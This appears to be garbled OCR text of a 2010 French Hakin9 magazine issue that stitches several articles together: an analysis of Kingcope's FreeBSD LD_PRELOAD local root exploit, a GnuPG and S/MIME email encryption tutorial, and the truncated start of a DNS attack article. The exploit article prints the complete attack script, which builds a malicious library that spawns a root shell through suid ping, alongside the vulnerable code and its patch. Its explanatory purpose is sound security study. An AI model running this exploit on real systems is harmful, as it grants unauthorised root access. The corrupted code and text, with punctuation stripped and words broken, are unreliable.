cet article expliquebull Comment fonctionne un exploit utilisant un bug LD_PRELOAD

sous FreeBSD

ce quil faut savoirbull Langage C des notions de systegraveme UNIX sont preacutefeacuterable

Paul Rascagnegraveres

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 47

comment FreeBsD vide la variable LD_PRELoAD Le listing 4 montre le morceau de code qui lance la pur-ge de certaines variables en cas de bit suid

en place juste avant de lancer la commande ping qui dispose dun bit suid Normalement la variable devrait donc ecirctre videacute par lOS Voyons comment FreeBSD vi-de cette variable

Listing 1 Source permettant dafficher le PID du processus en cours

include ltstdiohgt

int main()

printf(pid ungetpid())

return(0)

Listing 2 Librairie getpid() retournant systematiquement 31337

include ltstdiohgt

include ltsystypeshgt

pid_t getpid(void)

return(31337)

Listing 3 Exploit posteacute par Kingcope

binsh

echo FreeBSD local r00t zeroday

echo by Kingcope

echo November 2009

cat gt envc ltlt _EOF

include ltstdiohgt

main()

extern char environ

environ = (char)malloc(8096)

environ[0] = (char)malloc(1024)

environ[1] = (char)malloc(1024)

strcpy(environ[1] LD_PRELOAD=tmpw00t

so10)

execl(sbinping ping 0)

_EOF

gcc envc -o env

cat gt programc ltlt _EOF

include ltunistdhgt

include ltstdiohgt

include ltsystypeshgt

include ltstdlibhgt

void _init()

extern char environ

environ=NULL

system(echo ALEX-ALEXbinsh)

_EOF

gcc -o programo -c programc -fPIC

gcc -shared -Wl-sonamew00tso1 -o w00tso10

programo -nostartfiles

cp w00tso10 tmpw00tso10

env

Listing 4 fonction ou sont purgeacute certaines variables en cas de bit suid

func_ptr_type

_rtld(Elf_Addr sp func_ptr_type exit_proc Obj_

Entry objp)

trust = issetugid()

If the process is tainted then we un-set the

dangerous environment

variables The process will be marked as

tainted until setuid(2)

is called If any child process calls

setuid(2) we do not want any

future processes to honor the potentially un-

safe variables

if (trust)

unsetenv(LD_ PRELOAD)

unsetenv(LD_ LIBMAP)

unsetenv(LD_ LIBRARY_PATH)

unsetenv(LD_ LIBMAP_DISABLE)

unsetenv(LD_ DEBUG)

unsetenv(LD_ ELF_HINTS_PATH)

Return the exit procedure and the program entry

point

exit_proc = rtld_exit

objp = obj_main

return (func_ptr_type) obj_main-gtentry

6201048

Focus

Nous pouvons voir la fonction unsetenv() qui comme il est facile de le deviner permet dunset une variable denvironnement passeacutee en argument Cette fonction est retranscrite au listing 5

Cette fonction meacuterite une attention toute particuliegrave-re et une petite explication En premier lieu elle veacuterifie que le nom de la variable nest pas mal formeacutee En-suite deux fonctions __merge_environ() et __build_env() permettent de creacuteer un tableau contenant lenvironne-ment Pour finir elle supprime la variable via la fonction __remove_putenv() Le listing 6 montre le code de la fonc-tion __merge_environ()

Nous voyons que si il manque un laquo = raquo dans lune des variables denvironnement la fonction sort en -1 ce qui a pour incidence de ne jamais lancer la fonc-tion __remove_putenv() car unsetenv() sort laquo brutale-ment raquo Cest ce qui se passe dans notre cas La pre-miegravere variable denvironnement setteacute par lexploit est vide Mais le principal problegraveme est quil ny a pas de controcircle du code de retour de la fonction unsetenv()

Et donc notre binaire sexeacutecute avec la variable LD_PRELOAD Nous pouvons donc exeacutecuter nimporte quelle librairie arbitraire en tant que root via un bi-naire suid

Patch fournie par FreeBsDLe patch est des plus simple il consiste simplement a controcircler le code de retour dunsetenv() et a sortir en erreur en stoppant lexeacutecution du binaire Le listing 7 montre le patch

conclusionNous avons pu voir avec quelle faciliteacute Kingcope agrave reacuteussi agrave exeacutecuter du code en root Il est primordial de toujours veacuterifier les codes de retour des fonctions afin de valider que tout cest correctement passeacute comme nous le souhaitions Il est aussi important de noter que cette vulneacuterabiliteacute existe sous FreeBSD depuis de nombreuses anneacutees et que peut ecirctre certaines personnes ont exploiteacutes cette faille tout ce temps

Listing 5 fonction unsetenv() du fichier srcliblibcstdlibgetenvc

Unset variable with the same name by flagging it as inactive No variable is

ever freed

int

unsetenv(const char name)

int envNdx

size_t nameLen

Check for malformed name

if (name == NULL || (nameLen = __strleneq(name)) == 0)

errno = EINVAL

return (-1)

Initialize environment

if (__merge_environ() == -1 || (envVars == NULL ampamp __build_env() == -1))

return (-1)

Deactivate specified variable

envNdx = envVarsTotal - 1

if (__findenv(name nameLen ampenvNdx true) = NULL)

envVars[envNdx]active = false

if (envVars[envNdx]putenv)

__remove_putenv(envNdx)

__rebuild_environ(envActive - 1)

return (0)

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 49

Sans le full disclosure cette faille naurait peut ecirctre jamais eacuteteacute corrigeacute Il est donc vital dencourager ce type de deacutemarche de la part de tous les passionneacutes de seacutecuriteacute

Listing 6 Fonction __merge_environ()

static int

__merge_environ(void)

char env

char equals

Insert new environ into existing yet deactivated

environment array

origEnviron = environ

if (origEnviron = NULL)

for (env = origEnviron env = NULL env++)

if ((equals = strchr(env =)) == NULL)

__env_warnx(CorruptEnvValueMsg env strlen(env))

errno = EFAULT

return (-1)

if (__setenv(env equals - env equals + 11) == -1)

return (-1)

return (0)

Listing 7 Patch fournie par FreeBSD

if (trust)

- unsetenv(LD_ PRELOAD)

- unsetenv(LD_ LIBMAP)

- unsetenv(LD_ LIBRARY_PATH)

- unsetenv(LD_ LIBMAP_DISABLE)

- unsetenv(LD_ DEBUG)

- unsetenv(LD_ ELF_HINTS_PATH)

+ if (unsetenv(LD_ PRELOAD) ||

unsetenv(LD_ LIBMAP) ||

+ unsetenv(LD_ LIBRARY_PATH) ||

unsetenv(LD_ LIBMAP_DISABLE)

||

+ unsetenv(LD_ DEBUG) ||

unsetenv(LD_ ELF_HINTS_PATH))

+ _rtld_error(environment corrupt

aborting)

+ die()

+

ld_debug = getenv(LD_ DEBUG)

sur Internet

bull httpseclistsorgfulldisclosure2009Nov371 ndash publica-tion de Kingcope

bull httpwwwfreebsdorg ndash site offi ciel de FreeBSDbull httpwwwr00tedcom ndash site de lauteur de cet article

Agrave PRoPos DE LAuTEuRPaul Rascagnegraveres est un consultant informatique speacutecialiseacute en UNIX (Solaris AIX Linux et BSD) et en Seacutecuriteacute depuis plus de 5 ans Il a travailleacute chez des fabricants automobile ainsi que dans des banques franccedilaises et luxembourgeoises Il est eacutega-lement chercheur en seacutecuriteacute a titre priveacute dans ce cadre il ani-me de nombreuses communauteacutes de passionneacute en seacutecuriteacutesur internetPour contacter lauteur httpswwwr00tedcom

Page 28: E-Comerce Lancez Votre Boutique Online Hakin9!06!2010 FR

6201032

Seacutecuriteacute reacuteSeaux

GnuPG en pratiqueAvant de pouvoir eacutechanger une quelconque cleacute il faut dabord la creacutee Voici comment creacuteer un couple de cleacutes et quelques informations pour ladministrer

Avant de commencer il faut savoir que certains lo-giciels et plugins permettent de creacuteer et dadministrer les cleacutes Cela reste cependant plus instructif de le faire manuellement

De plus il faut savoir que le trousseau de cleacutes de lutili-sateur et toutes les cleacutes teacuteleacutechargeacutees se trouvent dans le dossier gnupg du homedir Les principaux fichiers sont gpgconf le fichier de configuration qui deacutefinit notamment le serveur de cleacutes par deacutefaut pubringgpg et secringgpg qui contiennent respectivement les cleacutes publiques et les cleacutes priveacutees et enfin trustdbgpg qui contient les informa-tions relatives agrave la confiance des cleacutes En effet il est im-portant de savoir que la confiance que lon accorde aux cleacutes est deacutependante du trousseau de cleacutes Enfin lavan-tage de GPG (par rapport agrave SMIME) est decirctre conccedilu de la mecircme maniegravere que ce soit Mac OS X Windows ou Linux Les cleacutes seront toujours stockeacutees dans le reacuteper-toire utilisateur dans un format binaire Par deacutefaut sous Linux gpg est installeacute avec la distribution Pour Windows il faut se procurer le logiciel et ajouter gpgexe dans le path Pour Mac il existe un portage de gpg qui sappelle MacGPG mais son fonctionnement est identique

Pour creacuteer une cleacute en console rien de plus simple

gpg ndashgen-key

Il suffit de suivre les instructions pour le choix du chiffrement laisser par deacutefaut DSA et Elgamal en-

suite vous pouvez agrandir la taille de la cleacute si el-le ne vous convient pas Ne vous inquieacutetez pas sil vous est demandeacute dagiter la souris et dap-puyer sur les touches de votre clavier Il a besoin au moins au deacutebut de geacuteneacuterer des nombres aleacutea-toires pour la creacuteation de la cleacute Ceci fait votre pai-re de cleacutes alors elles se trouvent dans votre trous-seau de cleacutes dans votre homedir Les commandes de bases sont

gpg ndashlist-key et gpg --list-secret-key qui liste respec-tivement toutes les cleacutes publiques et toutes les cleacutes pri-veacutees du trousseau de cleacutes (keyring)

gpg ndashlist-sigs permet de lister toutes les signatures des cleacutes ou de la cleacute speacutecifieacutee

gpg ndashexport monuid permet dexporter la paire de cleacutes speacutecifieacutee(par deacutefaut sur la sortie standard)

gpg ndashedit-key monuid permet deacutediter la cleacute identifieacutee par monuid

Une fois le prompt afficheacute tapez help et de nombreu-ses options soffrent agrave vous sachant quil faudra entrer le mot de passe de la cleacute priveacutee pour les opeacuterations tou-chant directement la cleacute

Se pose alors la question comment on teacuteleacutecharge les cleacutes de nos correspondants et comment met-on agrave dis-position notre cleacute publique La meacutethode standard est dutiliser un serveur de cleacute qui soccupera de reacutepliquer cette cleacute sur dautre serveurs

Pour teacuteleacutecharger une cleacute si lon connaicirct deacutejagrave lidenti-fiant de la cleacute on peut utiliser

gpg ndashkeyserver pgpmitedu ndashrecv-keys [uid] pour la teacuteleacute-charger On peut cependant la teacuteleacutecharger du serveur que lon veut

Figure 3 Menu de gestion des cleacutes

chiffrement des mails

hakin9orgfr 33

Dans le cas eacutecheacuteant il existe une alternative

gpg ndashkeyserver pgpmitedu ndashsearch-keys [recherche]

Sachant que la recherche seffectue sur le nom ladresse mail et lUID de la cleacute

Maintenant on va pouvoir enfin envoyer des mails chiffreacutes et signeacutes

impleacutementations dans les MuaQuelles sont maintenant les diffeacuterentes impleacutementations de gpg dans les clients de messageries Celle auquel-le on va sinteacuteresser tout particuliegraverement est Enig-mail Enigmail est un plugin pour Thunderbird et a donc lavantage de fonctionner sur Windows Linux et Mac Il en existe cependant un pour Windows GPG4Win qui inclus un gestionnaire de cleacutes un plugin pour Outlook 2003 un logiciel pour le chiffrement de fichiers et gegravere par la mecircme occasion les certificats x509 Sous Linux GPG est installeacute par deacutefaut sur la plupart des distribu-tions et les clients de messageries tel que Kmail ou Evolution gegraverent nativement sans plugin le PGP Pour ce qui est de Mac il existe un portage de GnuPG appeleacute MacGPG un logiciel de gestion des cleacutes appeleacute GPG Keychain et un plugin pour Mail appeleacute GPGMail

Enfin il est inteacuteressant de noter quil existe un plu-gin pour Firefox permettant de faire du chiffrement PGP

dans les webmails Il sappelle FireGPG mais nest mal-heureusement plus supporteacute depuis le 7 Juin 2010 Nous allons donc nous inteacuteresser au plugin Enigmail qui est de loin le plus eacutevolueacute et qui permet une adminis-tration complegravete de GnuPG

Lors du premier lancement de Thunderbird avec Enig-mail lassistant propose de creacuteer un couple de cleacutes si on la possegravede deacutejagrave il suffit dignorer lassistant Deux menus sont importants OpenPGPGestion des Clefs qui permet dimporter une cleacute chercher une cleacute sur un serveur signer une cleacute afficher les proprieacuteteacutes dune cleacute ou encore de modifier son niveau de confiance (voir Fi-gure 3)

Le deuxiegraveme eacuteleacutement important est la configuration quil vaut mieux eacuteviter de bidouiller sans connaicirctre ce-pendant une option est tregraves inteacuteressante agrave activer Cet-te option se trouve dans OpenPGPPreacutefeacuterences onglet Serveur de clefs apregraves avoir cliqueacute sur le mode expert cest loption de teacuteleacutechargement automatique des clefs lors de la reacuteception dun message signeacute dont on ne pos-segravede pas la cleacute publique (voir Figure 4)

La derniegravere eacutetape avant de pouvoir signer des mails est dassocier une cleacute agrave un compte pour cela il faut aller dans les proprieacuteteacutes du compte (account settings) activer OpenPGP pour ce compte et choi-sir la bonne cleacute (ou laisser le choix automatique par ladresse mail)

Figure 4 Activation de loption de teacuteleacutechargement automatique

6201034

Seacutecuriteacute reacuteSeaux

Il est maintenant possible de signer des mails avec PGP et de chiffrer si lon possegravede la cleacute pu-blique de notre destinataire On signe un message en cliquant sur le bouton OpenPGP de la fenecirctre de reacutedaction de message Remarque il est preacutefeacuterable de cocher PGPMIME car ceci active le support du PGPMIME(voir terminologie) De cette maniegravere si le client de messagerie du destinataire ne supporte pas lOpenPGP alors la signature ne viendra pas pa-rasiter le contenu du mail car elle se trouvera dans les en-tecirctes(bien quelle puisse apparaicirctre comme piegravece jointe)

SMiMeSMIME pour secure MIME est une extension du stan-dard MIME pour y inclure la signature numeacuterique encap-suleacutee au format MIME Il est donc plus particuliegraverement conccedilu pour la signature et le chiffrement des mails Les certificats SMIME ou certificats personnels(voir chapi-tre suivant) sont des certificats fondeacutes sur les certifi-cats x509 Le x509 est un format standard de certificat eacutelectronique il introduit certains concepts comme les listes de reacutevocations Comme tout certificat x509 les certificats SMIME sarticulent autour dune autoriteacute de certification ou CA(Certification Authority) qui deacutelivre le

creacuteation dune autoriteacute de certifi cationIl est tregraves simple de creacuteer des certifi cats auto-signeacutes avec OpenSSL le plus simple est dutiliser le script Perl inclus avec OpenSSL pour creacuteer des certifi cats CApl facilementCependant il ne permet pas une confi guration du CA il est donc preacutefeacuterable den recreacuteer un Voici les diff eacuterentes eacutetapes Il faut dabord creacuteer larborescence des dossiers et des fi chiers

On a larborescence de base il faut ensuite copier le opensslcnf dans le dossier pour pouvoir personnaliser notre autoriteacute de certifi -cationcp etcsslopensslcnf monACIl faut cependant modifi er une ligne dans le fi chierdir = demoCA en dir = On peut donc maintenant modifi er le opensslcnf pour modifi er le comportement du CA cest agrave dire la longueur des cleacutes par deacutefaut ajout de la gestion des SAN pour les certifi cats serveurs etcAttention la confi guration du fi chier opensslcnf est un peu deacutelicate et peut neacutecessiter de lexpeacuterience pour comprendre son fonctionnementIl ne reste plus quagrave geacuteneacuterer le certifi cat du CA qui servira agrave signer les autres certifi catsOn geacutenegravere la cleacute priveacuteeopenssl genrsa -aes256 -out monACprivatecakeypem 2048On geacutenegravere le certifi cat agrave partir de la cleacute priveacuteeopenssl req -new -x509 -days 365 -key monACprivatecakeykey -out monACprivatecacertpemLe CA ne sera valide quun an avec cette commandeIl ne reste plus qua creacuteer le certifi cat utilisateuropenssl genrsa -out monACprivatecuser-priveepem 2048On creacutee la CSR qui sera soumise agrave lautoriteacute de certifi cation que lon vient de creacuteer openssl req -new -nodes -key monACprivateuser-priveepem -out monACnewcertscsrpemLe CA doit maintenant signer la CSR pour geacuteneacuterer le certifi cat openssl ca -in monACnewcertscsrpem -out monACcertsuser-publicpem -keyfi le monACprivatecakeypem -cert monAC

privatecacertpem -confi g monACopensslcnfIl est important de preacuteciser le fi chier de confi guration dans lequel sera lu les informations par deacutefaut dureacutee de validiteacute etc Si rien nest preacuteciseacute le fi chier de confi guration utiliseacute est etcsslopensslcnfNote pour affi cher ce que permet le certifi cat il faut faire openssl x509 -purpose -in certifi catpem -nooutPour rendre le certifi cat utilisable il ne reste plus qua le convertir en PKCS 12openssl pkcs12 -export -in monACcertsuser-publicpem -inkey monACprivateuser-priveepem -out certifi catp12Ceci est donc une meacutethode rapide et effi cace de creacuteer des certifi cats auto-signeacutes Il est aussi possible de mettre en place une ar-chitecture beaucoup plus complexe avec cette fois-ci un vrai PKI Il existe un grand nombre de logiciels permettant de mettre en place un PKI avec reacutepondeur OCSP gestion des listes de reacutevocations etc Pour cela il faut se tourner vers EJBCA OpenCA ou enco-re NewPKI

listing 1 Creacuteation dune arborescence pour une autoriteacute de certifi cation

mkdir monAC

mkdir monACcerts

monACnewcerts

monACprivate

echo 01 gt monACserial

touch monACindextxt

chiffrement des mails

hakin9orgfr 35

certificat gegravere les reacutevocations via la parution reacuteguliegravere de listes de reacutevocations et la mise en place dun service de reacutepondeur OCSP

caracteacuteristiques techniquesTout comme PGP SMIME utilise le plus souvent un systegraveme de chiffrement asymeacutetrique RSA Les algo-rithmes de chiffrement symeacutetriques utiliseacutes sont le RC4 et le 3DES

La fonction de hachage principale utiliseacutee est la mecirc-me que pour GPG cest agrave dire SHA-1 Cependant SMIME diverge sur le codage utiliseacute qui est le Base64 conformeacutement a MIME alors que historiquement PGP utilise le ASCII Armor qui diffegravere un peu dans son fonc-tionnement

Tout les certificats x509 peuvent se trouver de deux maniegraveres diffeacuterentes soit en DER format binaire soit en PEM(plus reacutepandus) qui est du DER encodeacute en Base64 avec un marqueur de deacutebut et de fin tel que ----BEGIN CERTIFICATE----- et -----END CERTIFICATE-----

A linverse de PGP pour SMIME il nexiste pas de meacutethode preacutedeacutefinie pour la diffusion dun certificat Ce-pendant lorsque lon signe un mail et quon lenvoie le certificat est automatiquement ajouteacute dans les en-tecirc-tes MIME pour permettre au destinataire de veacuterifier la signature A partir de lagrave le comportement du client de messagerie peut diffeacuterer Thunderbird par exemple im-porte le certificat dans son trousseau de certificats lors-que celui-ci est valide

Il faut donc deacutejagrave posseacuteder le certificat pour chiffrer un mail pour quelquun ou alors ce dernier nous envoie dabord un mail signeacute et valide

Veacuterification certificatLe modegravele de veacuterification utiliseacute pour les certificats x509 et donc les certificats SMIME est un modegravele centraliseacute avec pour point central un PKI ou IGC pour infrastruc-ture de gestion des cleacutes

La veacuterification dun certificat par le client de messa-gerie lors de la reacuteception dun mail se deacuteroule comme suit

bull Le client de messagerie veacuterifie que la signature est valide avec le certificat de lexpeacutediteur(inclus dans les en-tecirctes)

bull Il fait des veacuterifications simples telles que la veacuterifica-tion de la date de validiteacute du certificat

bull Il cherche dans le champ certificate issuer le certi-ficat de lautoriteacute de certification signataire et veacuterifie lempreinte du certificat pour ecirctre sucircr quil agrave bien eacuteteacute signeacute par celui-ci Sil ne possegravede pas pas le certifi-cat du signataire il remonte dans la chaicircne pour es-sayer de trouver un certificat de confiance Sil nen possegravede aucun alors le certificat nest pas signeacute par une autoriteacute de confiance

bull Enfin selon la configuration du client de messa-gerie et dans le cas oucirc le certificat de lexpeacutediteur preacutecise une adresse OCSP alors celui-ci peut ef-fectuer une requecircte au serveur OCSP de lautoriteacute de certification pour veacuterifier quil nest pas reacutevoqueacute Le serveur reacutepond soit unknown soit revoked soit good

Si lensemble de la proceacutedure est conforme alors le certificat est valide

Figure 5 La chaine de certification

6201036

Seacutecuriteacute reacuteSeaux

Lorsque lon utilise des certificats auto-signeacutes leacutechec se situera donc dans la recherche de lautoriteacute de certi-fication signataire

comment se procurer un certifi cat Il existe un certains nombre de classes pour les certifi-cats personnels (voir chapitre suivant) cependant pour un usage personnel les certificats de classe 1 restent les plus adapteacutes dautant plus que lon peut sen procu-rer gratuitement Voici diffeacuterents liens

InstantSSL une autoriteacute intermeacutediaire issue de Co-modo

httpssecureinstantsslcomproductsfrontpagearea=SecureEmailCertificateampcurrency=EURampregion=Europeampcountry=FRampentryURL=http3AwwwinstantsslcomampreferrerURL=http3Awwwgooglefrsearch3Fhl3Dfr26q3Dinstantssl26aq3Df26aqi3Dg126aql3D26oq3D26gs_rfai3D

TBS httpswwwtbs-internetcomphpHTMLcommande

phpp=2ampid=106Secoriohttpssecurecomodonetproductsfrontpageap=S

ecorioamparea=SecureEmailCertificateampproduct=9ampdays=365

A noter quil est tout agrave fait possible de signer soi-mecircme un certificat ce qui peut ecirctre inteacuteressant pour un usage interne agrave condition de diffuser le certificat signataire autrement dit celui de lautoriteacute de certifica-tion creacutee

Suivez la proceacutedure de creacuteation du certificat elle est extrecircmement simpleIl y a juste une veacuterification de ladresse mail Par ailleurs noubliez pas votre mot de passe de reacutevocation car si vous loubliez vous ne pourrez pas reacutevoquer le certificat sil est compromis Le certificat est directement ajouteacute dans le trousseau de certificat de votre navigateur Web lorsque lon cli-que sur le lien pour le reacutecupeacuterer Donc si vous voulez limporter dans un client de messagerie il faudra lex-porter puis le reacuteimporter dans le client en le proteacutegeant au passage par un mot de passe Le gestionnaire de certificat dans Firefox se trouve dans Editionpreacutefeacuteren-cesAvanceacute onglet chiffrement bouton afficher les cer-tificats

A noter que dans cette proceacutedure la cleacute priveacutee est geacuteneacutereacutee par le navigateur qui lenvoie agrave lautoriteacute de certification pour signature En ce qui concerne un certificat SMIME agrave linverse de PGP une fois le cer-tificat creacutee on ne peut pas le modifier la seule chose que lon peut faire en terme dadministration est le reacutevoquer aupregraves de lautoriteacute de certification signa-taire

A propos des formats de certificats Un mecircme certi-ficat peut se trouver sous plusieurs formes Par sou-ci de simpliciteacute les certificats personnels se trouvent dans le format PKCS12 ougrave la cleacute publique et la cleacute priveacutee sont inclues dans le mecircme fichier Cependant lorsque lon envoi un mail signeacute le certificat ajouteacute dans les en-tecirctes MIME est au format PKCS7 qui lui ne contient que la cleacute publique et heureusement (voir lien pour les diffeacuterents format pkcs) Le format PKCS a eacuteteacute eacutelaboreacute par la socieacuteteacute RSA qui nest pas un or-ganisme de normalisation Le format PKCS nest donc pas une norme Cependant lIETF a normaliseacute un stan-dard cryptographique CMS qui lui est baseacute sur la syn-taxe du PKCS

utiliser un certifi cat dans un client de messagerieLa meacutethode la plus simple pour utiliser un certificat SMIME est de limporter dans le client de messagerie Cependant agrave plus grande eacutechelle il est envisageable de mettre en place un passerelle de chiffrement et de signature des mails comme Djigzo Djigzo par exemple permet le chiffrement et la signature automatique des mails par simple ajout dun mot cleacute dans le sujet du mail et sintercale par exemple entre le serveur SMTP inter-ne et lexteacuterieur

Comme indiqueacute preacuteceacutedemment quasiment tout les clients de messageries impleacutementent SMIME nati-vement il suffit donc pour la plupart daller dans les proprieacuteteacutes du compte de messagerie et dimporter le certificat au format PKCS12 Petite variante pour Mac OS avec Mail ou limportation ne se fait pas dans Mail mais dans le keychain access Mail lors de son lan-cement veacuterifie automatiquement sil existe un certifi-cat au nom de ladresse de messagerie dans le ges-

terminologie

bull Un PKI ou IGC est une infrastructure de gestion des cleacutes Autour de cela tournent deux entiteacutes principales Le CA ou autoriteacute de certifi cation a pour mission de signer les CSR et le RA pour Autoriteacute denregistrement soccupe de reacutecupeacuterer les demandes de certifi cats il creacutee le certifi cat pour le faire signer Les autoriteacutes de certifi cations admi-nistrent donc un PKI et mettent agrave disposition leurs servi-ces pour fournir des certifi cats valides dans les clients de messagerie avec lesquels ils ont des accords Note CA dans son utilisation courante deacutesigne lautoriteacute de certifi -cation en tant que fournisseur de service(Globasign add-Trust)

bull OCSP pour Online Certifi cate Statut Protocol est un pro-tocole standardiseacute par lIETF et permet de veacuterifi er la va-liditeacute dun certifi cat en ligne Il permet de compenser le manque de reacuteactiviteacute des listes de reacutevocations(CRL) Un serveur OCSP(aussi appeleacute reacutepondeur) eacutecoute sur le port 80 ce qui permet de fonctionner dans la plupart du tem-ps avec le proxy des entreprises Ainsi nul besoin de com-plexifi er les regravegles de fi ltrage

bull PGPMIME est une eacutevolution du PGP inline ougrave signature et message chiff reacute se trouvent dans le corps du mail PGPMIME permet une meilleure compatibiliteacute de PGP avec le standard MIME notamment avec les types MIMES(mime-types) et le codage Il est donc preacutefeacuterable lorsque cela est possible dutiliser PGPMIME

6201038

Seacutecuriteacute reacuteSeaux

tionnaire de cleacutes Si cest le cas alors des boutons pour chiffrer et signer apparaissent lors de la reacutedac-tion dun message Pour la gestion des webmail et en particulier Gmail il existe un plugin pour Firefox ap-peleacute Gmail SMIME qui fonctionne assez mal pour la signature et qui est incapable de veacuterifier la signature dun mail signeacute

Pour ce qui est de lOCSP il ne faut surtout pas oublier de lactiver si cela est possible Par exemple pour Thunderbird 3 il est activeacute par deacutefaut ce qui nest pas le cas pour le Thunderbird 2 Pour les amateurs de Outlook 2007 il faudra teacuteleacutecharger un plugin pour geacuterer lOCSP

certificat et identiteacute numeacuteriqueTous les certificats sont baseacutes sur la norme de cer-tificat X509 creacutee par lUnion Internationale des Teacuteleacutecommunication(UIT) Les certificats sont principa-lement utiliseacutes pour la seacutecurisation des eacutechanges sur les sites web avec SSLTLS on appelle ccedila des certifi-cats serveurs Les certificats utiliseacutes pour SMIME sont appeleacutes certificats personnels Mais il en existe des diffeacuterents pour drsquoautres utilisations (voir ci-dessous)

Diff eacuterents certifi catsPour une autoriteacute de certification racine donneacutee il peut exister un certains nombres dautoriteacutes intermeacutediaires Ainsi pour un CA racine donneacute on a un CA intermeacutediai-re pour les certificats serveurs un pour les certificats EV (voir Figure 5) un pour la signature de pdf etc

Certains CA proposent cependant des offres pour ecirctre autoriteacute intermeacutediaire mais le prix de ce genre dof-fre deacutepasse largement le budget de la plupart des en-treprises

Ce que lon appelle chaicircne est la succession des si-gnataires dun certificat racine jusquagrave un certificat uti-lisateur final(end-user) qui lui ne peut pas deacutelivrer de certificat

Voici diffeacuterents types de certificats

bull Personnel Pour la signature de mails ou de docu-ments PDF par exemple

bull Serveur Pour permettre les connexions en SSLTLS HTTPS et autres Il existe des sous clas-se de certificats serveurs

bull Wildcard(joker) permet dobtenir un certificat pour les sous-domaines par exemple pour foofr on peut donc avoir un certificat pour smtpfoofr et pour imapfoofr

bull SAN(Subject Alternative Name) ce type de certifi-cat permet dobtenir un certificat pour deux domai-nes diffeacuterents par exemple foofr et fooeu

bull EV(extented validation) reacutepond agrave une normalisation baseacutee sur une veacuterification plus stricte de lidentiteacute du demandeur

bull Note Il est possible drsquoavoir un certificat reacutepondant agrave plusieurs critegraveres et donc davoir par exemple un certificat SAN Wildcard et EV

bull Deacuteveloppeur (Code Signing) Ce type de certificat permet de signer un logiciel Cest pour cette raison que lorsquun logiciel nest pas signeacute avec ce type de certificat sous Windows un message nous indi-que que le logiciel na pas eacuteteacute signeacute et quil est dori-gine inconnue

les classes de certifi cats personnelsIl existe une classification dans le niveau de confian-ce dun certificat personnel Celle-ci est diviseacutee en plu-sieurs classes que voici

bull Classe 1 Seule ladresse mail du demandeur est veacuterifieacutee Cest plus un identifiant digital (Digital ID) quun systegraveme dauthentification du proprieacutetaire Les certificats de classe 1 sont dailleurs pour la plupart signeacutes de maniegravere automatique ce qui expli-que la rapiditeacute dobtention

bull Classe 2 Veacuterification mail et piegraveces didentiteacute Sa-chant quil existe aussi des sous-cateacutegories person-nel (veacuterification papiers didentiteacute) ou entreprise (veacuteri-fication papiers didentiteacute et appartenance agrave lentrepri-se)

bull Classe 3 Comme la classe 2 mais avec veacuterification de lidentiteacute en face agrave face

bull Classe 3+ Comme la classe 3 mais avec remise du certificat sur support physique

bull Attention ce classement ne correspond agrave aucune norme il peut tout agrave fait varier dune autoriteacute de cer-tification agrave lautre qui pourra par exemple deman-der des piegraveces didentiteacutes mecircme pour un certificat de classe 1 Ces classes permettent juste de mieux distinguer le niveau dauthenticiteacute dun certificat

la valeur juridiquePour ce qui concerne laspect juridique le caractegravere deacute-centraliseacute de PGP rend la valeur des cleacutes nulles En

Sur internet

bull httppgpmitedu ndash Adresse du serveur de cleacute PGP du MIT

bull httpwwwpgpiorg ndash Site international de PGPbull httpwwwgnupgorg ndash Site du GnuPG bull httpwwwdjigzocomindexhtml ndash Site web de la pas-

serelle de chiff rement Djigzobull httpwwwchambersignfrindexjsp ndash Site web dun CA

Franccedilais reconnu par leacutetatbull httpwwwgpg4winorg ndash Site web du projet GPG4Winbull httpwwwlinuxcertifcomman1gpg ndash Manuel de GPG

en Franccedilaisbull httpfrwikipediaorgwikiPublic_Key_Cryptographic_

Standards ndash Diff eacuterents formats PKCSbull httpwwwtelecomgouvfrrubriques-menuentreprises-

economie-numeriquecertifi cats-references-pris-v1catego-ries-familles-certifi cats-references-pris-v-1-506html ndash Au-toriteacutes de certifi cation agreacutees par leacutetat Franccedilais

hakin9orgfr 39

effet la creacuteation des cleacutes eacutetabli un lien entre ladresse mail la cleacute et les autres cleacutes mais nullement avec la personne physique

En ce qui concerne SMIME cest un peu plus com-pliqueacute car les certificats repreacutesentent lactiviteacute com-merciale des autoriteacutes de certification cest donc un service de confiance quelles offrent De plus selon la loi du 13 Mars 2000 la signature eacutelectronique agrave la mecircme valeur quune signature manuscrite Ce-pendant tout deacutepend du certificat qui produit cette signature En pratique seul les classes 3+ sont re-connus par leacutetat et que ceux signeacutes par des autoriteacutes agreacutees(voir lien)

De plus des certificats reconnus par leacutetat commen-cent tregraves largement agrave se reacutepandre (teacuteleacute-deacuteclaration dimpocircts teacuteleacute-carte grise) Chaque certificat authentifie donc le proprieacutetaire dans le cadre de la proceacutedure pour laquelle il a eacuteteacute deacutelivreacute Il nest ainsi pas permis de si-gner des mails personnels avec ce type de certificat

conclusion PGP ou SMiMeLes mails que lon envoie sont donc proteacutegeacutes des regards indiscrets et sont de plus identifieacutes pour le destinataire eacutevitant ainsi le piegravege du mail spoofing En terme dapplication de maniegravere plus geacuteneacuterale si des socieacuteteacute comme Ebay et Paypal signaient numeacuteri-quement leurs mails le phishing ne ferait pas autant de deacutegats Le fait est que les certificats serveurs sont bien mieux connus et impleacutementeacutes Pour revenir agrave PGP et SMIME et dun point de vu strictement per-sonnel entre personnes initieacutees il est largement preacute-feacuterable dutiliser PGP pour des raisons de modulari-teacutes A linverse dans des situations plus officielles il est preacutefeacuterable dutiliser SMIME dautant quil est plus facile daccegraves plus rapide agrave mettre en place et ne neacute-cessite tregraves peu dadministration Sauf lorsquil faut le renouveler car les certificats nexcegravede rarement 3 ans en dureacutee de validiteacute Bien entendu dans le cas de teacuteleacuteTVA et autres il est neacutecessaire dutiliser le cer-tificat adapteacute et uniquement pour la tacircche qui lui est destineacutee

Agrave ProPoS De lauteurSuite a un DUT informatique agrave Grenoble et un court pas-sage agrave lInstitut Laue-Langevin lauteur eacutetudie actuellement linformatique agrave luniversiteacute de Napier en Eacutecosse Passion-neacute dinformatique depuis longtemps il sinteacuteresse tout par-ticuliegraverement au reacuteseau et agrave larchitecture systegraveme plus speacute-cialement agrave Linux et BSD

6201040

AttAque

Le DNS a eacuteteacute inventeacute par Paul Mockapetris en 1983 Ce service est agrave la base dinternet et per-met de reacutealiser une correspondance entre nom de

domaine et adresse IP Malheureusement ce service comporte de nom-

breuses faiblesses susceptibles decirctre utiliseacutees une personne mal intentionneacutee

